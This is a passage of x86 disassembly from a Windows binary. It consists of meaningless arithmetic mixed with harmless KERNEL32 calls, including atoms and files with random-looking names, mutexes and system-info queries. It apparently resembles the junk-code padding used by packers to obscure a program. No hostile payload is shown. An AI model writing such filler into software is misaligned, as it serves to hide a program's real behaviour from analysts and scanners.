mov dword [ebp - 0x49e4], 0x100b730c
mov ecx, dword [ebp - 0x3ac4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx edx, byte [0x100b725a]
mov eax, dword [ebp - 0x4698]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7287], dl
movzx ecx, word [ebp - 0xfa4]
mov edx, dword [ebp - 0x35ec]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x6f0], cx
lea ecx, [ebp - 0x1278]
mov dword [ebp - 0x49e8], ecx
movsx edx, byte [ebp - 0x178]
mov eax, dword [0x100ba2d4]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b7e6a], dl
mov edx, dword [ebp - 0x46b8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x130]
or eax, ecx
mov byte [ebp - 0x15c], al
imul edx, dword [0x100ba50c], 0x1e63
mov eax, dword [ebp - 0x4100]
mov dword [eax], edx
lea ecx, [ebp - 0x3d54]
mov dword [0x100bb24c], ecx
lea edx, [ebp - 0x293]
mov dword [ebp - 0x49ec], edx
mov eax, dword [ebp - 0x3e84]
movzx ecx, word [eax]
movzx edx, word [0x100b73b8]
xor ecx, edx
mov eax, dword [ebp - 0x3888]
mov word [eax], cx
push str.eNgla
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb250], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x49f0], eax
movsx edx, word [ebp - 0x138c]
mov eax, dword [0x100ba458]
movsx ecx, word [eax]
sar edx, cl
mov word [0x100b7270], dx
movzx ecx, byte [ebp - 0x1dc]
movzx edx, byte [ebp - 0x257]
add ecx, edx
mov byte [ebp - 0xe], cl
mov eax, dword [ebp - 0x2ebc]
mov dword [ebp - 0x49f4], eax
push str.WUi_bic_R_BW5Tqg
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16a0], ax
lea ecx, [ebp - 0xfd4]
mov dword [0x100bb254], ecx
lea edx, [ebp - 0x496c]
mov dword [ebp - 0x49f8], edx
movsx eax, byte [ebp - 0x153]
movsx ecx, byte [0x100b7286]
and eax, ecx
mov edx, dword [ebp - 0x37b8]
mov byte [edx], al
mov eax, dword [ebp - 0x3ac0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3af8]
movsx eax, word [edx]
sub ecx, eax
mov word [0x100b7314], cx
lea ecx, [ebp - 0x2d9]
mov dword [ebp - 0x49fc], ecx
mov edx, dword [0x100bb1ec]
mov ecx, dword [ebp - 0x2e8c]
shl edx, cl
mov eax, dword [ebp - 0x3ec8]
mov dword [eax], edx
lea ecx, [ebp - 0x26a]
mov dword [0x100bb258], ecx
mov dword [ebp - 0x4a00], 0x100b7328
mov edx, dword [ebp - 0x4054]
movzx eax, word [edx]
mov ecx, dword [0x100ba77c]
movzx edx, word [ecx]
imul eax, edx
mov ecx, dword [ebp - 0x4418]
mov word [ecx], ax
mov edx, dword [ebp - 0x3680]
mov eax, dword [ebp - 0x2dbc]
or eax, dword [edx]
mov ecx, dword [0x100b96d4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x365c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x14c0]
sar eax, cl
mov word [ebp - 0xd6c], ax
mov ecx, dword [0x100bab6c]
movzx edx, byte [ecx]
mov eax, dword [0x100ba854]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x192], dl
mov edx, dword [ebp - 0x2f1c]
mov dword [0x100bb25c], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9ea4], eax
movsx eax, byte [ebp - 0x2b0]
mov ecx, dword [ebp - 0x3538]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3978]
mov byte [ecx], al
lea edx, [ebp - 0xf60]
mov dword [ebp - 0x4a04], edx
mov eax, dword [0x100b9ab8]
movzx ecx, word [eax]
imul edx, ecx, 0xb69
mov word [0x100b71d4], dx
lea eax, [ebp - 0x27b]
mov dword [ebp - 0x4a08], eax
mov ecx, dword [ebp - 0x455c]
mov esi, dword [ebp - 0x4498]
mov eax, dword [ecx]
xor edx, edx
div dword [esi]
mov dword [0x100b7404], eax
mov edx, dword [ebp - 0x3998]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x384c]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x768], ax
mov edx, dword [ebp - 0x412c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x390c]
mov byte [ecx], al
push 0x8f7
push 0
lea edx, [ebp - 0x473c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bb260], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba368], eax
mov eax, dword [ebp - 0x2af8]
mov dword [0x100bb264], eax
lea ecx, [ebp - 0x14a0]
mov dword [ebp - 0x4a0c], ecx
mov edx, dword [ebp - 0x36f8]
mov eax, dword [edx]
add eax, dword [ebp - 0x4180]
mov dword [ebp - 0x2dc0], eax
mov ecx, dword [0x100b9d64]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x160c]
sar edx, cl
mov eax, dword [0x100ba1c4]
mov word [eax], dx
push 0
push 0x40
push 4
push 0
push 4
push 0x80000000
push str.66TAE_b5ldApNB2OkZ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4a10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3ec4], eax
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x4a14], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b96e8], eax
lea edx, [ebp - 0xb02c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb268], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4a18], eax
push 0x100bb26c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x9ef8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 0x4144]
mov dl, byte [ecx]
mov byte [ebp - 0x2f5], dl
movzx eax, word [0x100b9f68]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16a4], ax
movsx ecx, byte [ebp - 0x2a8]
mov edx, dword [ebp - 0x3f90]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [0x100ba298]
mov byte [edx], cl
movsx eax, byte [0x100b82fa]
mov ecx, dword [ebp - 0x4540]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x2a7], al
mov eax, dword [ebp - 0x3f60]
imul eax, dword [ebp - 0x4404]
mov dword [ebp - 0x31cc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb290], eax
lea ecx, [ebp - 0x1a5]
mov dword [0x100bb294], ecx
push 0x100bafc0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3d00]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [0x100b7304]
movsx ecx, word [ebp - 0x14c0]
xor eax, ecx
mov word [ebp - 0xcb4], ax
mov edx, dword [ebp - 0x3678]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x159c]
sub eax, ecx
mov edx, dword [ebp - 0x43bc]
mov word [edx], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb298], eax
mov eax, dword [ebp - 0x2e08]
mov ecx, dword [ebp - 0x3cf4]
shl eax, cl
mov ecx, dword [0x100b9b10]
mov dword [ecx], eax
push str.SBAooME_YXD2bOeVab0_NMZA
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16a8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9994], eax
push 0
push 8
push 5
push 0
push 1
push 0x80000000
push str.Tj7nqHSBdioaTgP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4a1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3c80], eax
lea edx, [ebp - 0x28c]
mov dword [ebp - 0x4a20], edx
push str.j_q6gE1S_sbm
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb128], ax
mov eax, dword [ebp - 0x3980]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e84]
mov edx, dword [ebp - 0x359c]
mov dword [edx], ecx
lea eax, [ebp - 0x263]
mov dword [0x100bb29c], eax
mov ecx, dword [0x100b9688]
mov dx, word [ecx]
mov word [ebp - 0x16ac], dx
movsx eax, word [0x100b7270]
movsx ecx, word [ebp - 0xaa4]
sar eax, cl
mov word [ebp - 0x838], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4a24], eax
movsx ecx, byte [ebp - 0x134]
mov edx, dword [ebp - 0x3690]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x100b7f46], cl
mov ecx, dword [ebp - 0x33ec]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x439c]
movzx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0xc8c], dx
mov edx, dword [ebp - 0x463c]
mov eax, dword [ebp - 0x402c]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x350c]
mov dword [edx], ecx
push 0
push 2
push 0
push 0
push 1
push 0x80000000
push str.7u4tEqXyDi51seTAA7sUpCb
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb2a0], eax
mov eax, dword [ebp - 0x3900]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x31c8]
mov dword [0x100b7408], ecx
lea edx, [ebp - 0x1b7]
mov dword [ebp - 0x4a28], edx
mov eax, dword [ebp - 0x3e18]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x125c]
add ecx, edx
mov word [ebp - 0x150c], cx
mov eax, dword [ebp - 0x3e00]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb2a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33a8], eax
movsx edx, byte [ebp - 0x21e]
mov eax, dword [ebp - 0x3f18]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b959c]
mov byte [ecx], dl
push 0x100bacf0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x100b9d90]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4368]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xe0c], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb2a8], eax
lea eax, [ebp - 0x3b4c]
mov dword [ebp - 0x4a2c], eax
mov ecx, dword [ebp - 0x3944]
mov dword [0x100bb2ac], ecx
push str.WN7qSA_D3gPIh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16b0], ax
mov edx, dword [ebp - 0x3e10]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x420c]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x15c], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4a30], eax
movzx edx, word [0x100baa88]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15d0], ax
movsx eax, byte [ebp - 0x73]
mov ecx, dword [ebp - 0x4588]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x174], al
lea eax, [ebp - 0xd6c]
mov dword [0x100bb2b0], eax
mov dword [ebp - 0x4a34], 0x100b71d8
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba368], eax
mov ecx, dword [ebp - 0x36f8]
mov edx, dword [ecx]
add edx, dword [0x100b9b18]
mov dword [ebp - 0x2db0], edx
movsx eax, byte [ebp - 0x1f2]
mov ecx, dword [0x100bacac]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x100b725a], al
mov eax, dword [ebp - 0x3ad4]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.14gP4s
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb2b4], ax
mov ecx, dword [ebp - 0x3f64]
mov dl, byte [ecx]
mov byte [ebp - 0x2f6], dl
lea eax, [ebp - 0x9fb8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x4268]
mov edx, dword [ecx]
and edx, dword [0x100b7368]
mov eax, dword [ebp - 0x49f8]
mov dword [eax], edx
push str.WzPJ_OcqCJFX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb2b8], ax
push 0x100b9c3c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.G7p_MrB2j5a
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16b4], ax
movzx ecx, word [ebp - 0x1244]
mov edx, dword [ebp - 0x39d4]
movzx eax, word [edx]
imul ecx, eax
mov word [0x100baf1c], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x454c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb2bc], eax
mov ecx, dword [0x100b9780]
mov dx, word [ecx]
mov word [ebp - 0x16b8], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b14], eax
mov eax, dword [0x100bb244]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4a38], eax
mov ecx, dword [ebp - 0x47f4]
mov edx, dword [0x100badbc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x302c], eax
lea ecx, [ebp - 0x1f2]
mov dword [0x100bb2c0], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb2c4], eax
movzx edx, byte [0x100b82e2]
mov eax, dword [ebp - 0x3d9c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2e1], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x35a4], eax
movzx edx, word [ebp - 0x1694]
movzx ecx, word [ebp - 0xc8c]
sar edx, cl
mov word [ebp - 0x8a0], dx
mov eax, dword [ebp - 0x36c0]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x3fe8]
movzx ecx, word [ecx]
cdq
idiv ecx
mov word [0x100b733c], ax
mov edx, dword [0x100ba3b8]
mov eax, dword [edx]
mov dword [ebp - 0x4a3c], eax
movsx ecx, word [ebp - 0x768]
mov edx, dword [0x100b9734]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x14c0], cx
mov ecx, dword [0x100b9e58]
mov edx, dword [ebp - 0x2a48]
and edx, dword [ecx]
mov dword [0x100b740c], edx
mov eax, dword [ebp - 0x3a70]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1fc]
xor ecx, edx
mov byte [ebp - 0x236], cl
lea eax, [ebp - 0x1e8]
mov dword [0x100bb2c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bae64], eax
lea ecx, [ebp - 0xb2fc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3814]
movzx eax, word [edx]
movzx ecx, word [0x100b7294]
or eax, ecx
mov edx, dword [ebp - 0x4444]
mov word [edx], ax
mov eax, dword [0x100b983c]
mov dword [ebp - 0x4a40], eax
mov ecx, dword [ebp - 0x3d18]
mov edx, dword [ebp - 0x3a4c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [0x100ba7f4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3e88]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1278]
shl eax, cl
mov word [ebp - 0x6f8], ax
movsx edx, byte [ebp - 0x120]
movsx ecx, byte [ebp - 0x2b6]
sar edx, cl
mov byte [ebp - 0x22d], dl
mov dword [0x100bb2cc], 0x100b7143
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x4a44], eax
mov ecx, dword [0x100baae8]
mov edx, dword [ecx]
add edx, dword [0x100b7408]
mov eax, dword [ebp - 0x48c4]
mov dword [eax], edx
movzx ecx, word [ebp - 0xa10]
mov edx, dword [ebp - 0x3d68]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [0x100ba3ac]
mov word [edx], cx
mov eax, dword [ebp - 0x3914]
mov cx, word [eax]
mov word [ebp - 0x16bc], cx
mov edx, dword [0x100ba4ec]
mov eax, dword [edx]
xor eax, dword [ebp - 0x37ec]
mov ecx, dword [ebp - 0x401c]
mov dword [ecx], eax
mov edx, dword [0x100b9ac0]
mov al, byte [edx]
mov byte [0x100b8343], al
movsx ecx, byte [ebp - 0x271]
movsx edx, byte [ebp - 0x174]
xor ecx, edx
mov eax, dword [ebp - 0x4094]
mov byte [eax], cl
lea ecx, [ebp - 0x38e8]
mov dword [ebp - 0x4a48], ecx
mov edx, dword [ebp - 0x40d0]
movzx eax, word [edx]
movzx ecx, word [0x100b7328]
add eax, ecx
mov word [0x100b71f4], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9abc], eax
mov edx, dword [ebp - 0x4704]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3c78]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3e58]
mov word [ecx], ax
push 0
push 0x20
push 0
push 0
push 8
push 0x40000000
push str.HSFmLmMt5g7rmaoHSB9PO
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb2d0], eax
lea edx, [ebp - 0x9c70]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebp - 0x5a8]
mov dword [ebp - 0x4a4c], eax
lea ecx, [ebp - 0xb6]
mov dword [0x100bb2d4], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba6cc], eax
mov edx, dword [ebp - 0x4268]
mov eax, dword [ebp - 0x385c]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2ec4], ecx
mov edx, dword [ebp - 0x4000]
mov eax, dword [ebp - 0x2b8c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x315c], eax
mov ecx, dword [0x100b99cc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x372c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7226], dl
lea ecx, [ebp - 0x1594]
mov dword [ebp - 0x4a50], ecx
movsx edx, word [ebp - 0x788]
movsx eax, word [ebp - 0x14d0]
and edx, eax
mov word [ebp - 0x1248], dx
movsx ecx, byte [0x100b722a]
mov edx, dword [ebp - 0x4338]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [0x100ba024]
mov byte [edx], cl
mov dword [ebp - 0x4a54], 0x100b726a
mov eax, dword [ebp - 0x48e8]
mov ecx, dword [eax]
and ecx, dword [0x100b72d0]
mov dword [ebp - 0x4a3c], ecx
push str.JBQt1gEZ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16c0], ax
mov dword [0x100bb2d8], 0x100bade0
mov edx, dword [ebp - 0x3c9c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2c2]
sar eax, cl
mov byte [ebp - 0xee], al
mov ecx, dword [ebp - 0x42ec]
mov dx, word [ecx]
mov word [ebp - 0x16c4], dx
movsx eax, word [ebp - 0x730]
movsx ecx, word [0x100baa10]
shl eax, cl
mov word [0x100ba180], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x38b4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb2dc], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4a58], eax
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x4a5c], ecx
mov edx, dword [ebp - 0x4040]
mov eax, dword [0x100b9b18]
or eax, dword [edx]
mov ecx, dword [ebp - 0x3fd8]
mov dword [ecx], eax
movzx edx, word [0x100ba02c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb2e0], ax
movzx eax, word [ebp - 0x5a4]
imul ecx, eax, 0xfb3
mov word [0x100b7410], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4694], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4a60], eax
mov edx, dword [ebp - 0x42f8]
mov eax, dword [ebp - 0x3d98]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x3804], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9758], eax
lea edx, [ebp - 0x80]
mov dword [ebp - 0x4a64], edx
push str.2vr_P_I9XTI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb2e4], ax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push str.D8q0qmo3B9kgVf
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4a68], eax
lea eax, [ebp - 0x5c0]
mov dword [0x100bb2e8], eax
movzx ecx, byte [0x100b726e]
movzx edx, byte [0x100b7dff]
add ecx, edx
mov eax, dword [ebp - 0x38fc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3994]
mov edx, dword [ecx]
and edx, dword [ebp - 0x33d4]
mov dword [ebp - 0x30b8], edx
movsx eax, byte [ebp - 0x271]
movsx ecx, byte [ebp - 0x2bb]
sar eax, cl
mov byte [0x100b7f0b], al
mov ecx, dword [0x100ba9a0]
movzx eax, word [ecx]
cdq
mov ecx, 0xafd
idiv ecx
mov word [ebp - 0xd28], ax
mov edx, dword [ebp - 0x35ec]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x35e4]
mov word [ecx], ax
mov dword [0x100bb2ec], 0x100ba6dc
mov edx, dword [ebp - 0x4138]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xd6c]
shl eax, cl
mov word [ebp - 0x52c], ax
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x4a6c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb2f0], eax
mov edx, dword [ebp - 0x3d1c]
or edx, dword [ebp - 0x302c]
mov eax, dword [0x100bb2d8]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x41c4], eax
movsx ecx, byte [0x100b813b]
mov edx, dword [ebp - 0x4728]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3f8c]
mov byte [edx], cl
lea eax, [ebp - 0xf0c]
mov dword [ebp - 0x4a70], eax
lea ecx, [ebp - 0x748]
mov dword [0x100bb2f4], ecx
mov edx, dword [ebp - 0x3d38]
movsx eax, byte [edx]
movsx ecx, byte [0x100b7e23]
and eax, ecx
mov edx, dword [ebp - 0x4640]
mov byte [edx], al
push 2
push 0x100ba3c8
mov eax, dword [ebp - 0x9838]
push eax
mov ecx, dword [ebp - 0x983c]
push ecx
mov edx, dword [0x100babc8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4a74], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb2f8], eax
mov eax, dword [ebp - 0x3d60]
mov edx, dword [ebp - 0x4004]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x100b72f0], edx
mov ax, word [ebp - 0xb8c]
mov word [ebp - 0x16c8], ax
movzx ecx, byte [ebp - 0x257]
movzx edx, byte [ebp - 0x131]
xor ecx, edx
mov byte [ebp - 0x158], cl
push 0
push 0x100
push 2
push 0
push 1
push 0x80000000
push str.xS8WoBprHc6NG1UfarH
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4a78], eax
mov dword [0x100bb2fc], 0x100ba888
mov ax, word [ebp - 0x1334]
mov word [ebp - 0x16cc], ax
mov ecx, dword [0x100bab78]
mov edx, dword [ebp - 0x4410]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2b90], eax
push 2
lea ecx, [ebp - 0x97fc]
push ecx
mov edx, dword [0x100b9b04]
push edx
mov eax, dword [0x100b9b00]
push eax
mov ecx, dword [0x100baebc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3370], eax
movsx edx, word [ebp - 0x584]
mov eax, dword [0x100ba84c]
movsx ecx, word [eax]
shl edx, cl
mov word [0x100b7314], dx
mov ecx, dword [0x100b9b54]
add ecx, dword [ebp - 0x46a4]
mov dword [ebp - 0x456c], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb300], eax
mov edx, dword [ebp - 0x3b30]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x46c0]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0xa7], al
push str.NosxTvZ_i
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1514], ax
push str.MRSr_BtAc4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16d0], ax
movsx eax, byte [ebp - 0x28e]
mov ecx, dword [0x100b9afc]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x100b72bf], al
mov eax, dword [ebp - 0x3f28]
movsx ecx, byte [eax]
movsx edx, byte [0x100b821a]
xor ecx, edx
mov byte [ebp - 0x1ed], cl
mov eax, dword [ebp - 0x438c]
mov ecx, dword [0x100bac30]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2de0], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b99b0], eax
mov eax, dword [ebp - 0x4924]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3974]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100b9740]
mov byte [edx], cl
mov ax, word [ebp - 0x1630]
mov word [ebp - 0x16d4], ax
mov ecx, dword [ebp - 0x374c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4430]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xe28], dx
mov edx, dword [ebp - 0x3064]
mov dword [0x100bb304], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4a7c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb308], eax
mov eax, dword [0x100baf90]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3b]
and ecx, edx
mov byte [ebp - 0x13], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3728], eax
mov eax, dword [ebp - 0x37d0]
mov ecx, dword [eax]
mov dword [ebp - 0x4a80], ecx
movzx edx, byte [ebp - 0x15d]
movzx eax, byte [ebp - 0x132]
sub edx, eax
mov byte [0x100b7216], dl
mov ecx, dword [ebp - 0x40ec]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xfa4]
shl edx, cl
mov eax, dword [ebp - 0x4490]
mov word [eax], dx
movsx ecx, word [0x100b737c]
movsx edx, word [ebp - 0x140c]
or ecx, edx
mov eax, dword [ebp - 0x39b8]
mov word [eax], cx
lea ecx, [ebp - 0x181]
mov dword [0x100bb30c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb310], eax
lea edx, [ebp - 0x1420]
mov dword [ebp - 0x4a84], edx
mov eax, dword [ebp - 0x47bc]
mov ecx, dword [eax]
mov dword [ebp - 0x4a88], ecx
mov edx, dword [ebp - 0x4584]
mov eax, dword [ebp - 0x2de4]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x100b9e28], eax
movzx ecx, byte [ebp - 0xcb]
movzx edx, byte [ebp - 0x26b]
add ecx, edx
mov eax, dword [ebp - 0x3548]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3e58]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x369c]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1348], dx
movsx edx, byte [ebp - 0x23e]
mov eax, dword [ebp - 0x3f9c]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100bade4]
mov byte [eax], dl
movzx edx, word [ebp - 0x1644]
mov eax, dword [0x100baa5c]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x678], dx
mov ecx, dword [0x100ba9bc]
mov edx, dword [ebp - 0x426c]
add edx, dword [ecx]
mov dword [ebp - 0x3258], edx
lea eax, [ebp - 0x9c40]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e44], eax
movzx ecx, word [0x100ba3b4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16d8], ax
lea edx, [ebp - 0x43a8]
mov dword [0x100bb314], edx
movzx eax, byte [ebp - 0x289]
movzx ecx, byte [ebp - 0x281]
sar eax, cl
mov ecx, dword [ebp - 0x4598]
